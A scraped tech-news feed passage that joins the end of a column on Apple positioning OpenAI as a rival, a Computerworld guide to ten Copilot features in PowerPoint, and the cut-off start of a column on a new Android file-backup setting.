<p class="wp-block-paragraph">Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.</p>



<p class="wp-block-paragraph">Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda. </p>



<p class="wp-block-paragraph">That blow comes as Apple <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">finally gets its act together around AI</a>, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.</p>



<h2 class="wp-block-heading"><strong>My kingdom come</strong></h2>



<p class="wp-block-paragraph">Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a <a href="https://www.computerworld.com/article/4104139/the-stage-is-being-set-for-20-years-of-iphone.html">20<sup>th</sup>anniversary iPhone</a>.</p>



<p class="wp-block-paragraph">This is Apple’s party. OpenAI’s name didn’t make the list. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


